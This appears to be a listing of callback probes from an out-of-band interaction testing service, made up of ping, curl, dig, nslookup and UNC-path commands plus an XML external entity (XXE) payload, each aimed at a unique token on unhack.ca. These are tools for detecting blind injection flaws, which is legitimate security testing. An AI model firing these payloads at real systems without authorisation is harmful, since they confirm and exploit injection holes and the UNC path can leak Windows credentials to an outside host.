$ ping -c1 -p 00eb8a5c1ad3b8c90a9c80221ad14f00 unhack.ca
 

$ curl http://unhack.ca/p/eb8a5c1ad3b8c90a9c80221ad14f
 

$ dig eb8a5c1ad3b8c90a9c80221ad14f @unhack.ca
 

$ dig eb8a5c1ad3b8c90a9c80221ad14f.ns.unhack.ca
 

C:\> nslookup eb8a5c1ad3b8c90a9c80221ad14f unhack.ca
 

C:\> type \\unhack.ca\eb8a5c1ad3b8c90a9c80221ad14f\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/eb8a5c1ad3b8c90a9c80221ad14f">]>
    <foo>&xxe;</foo>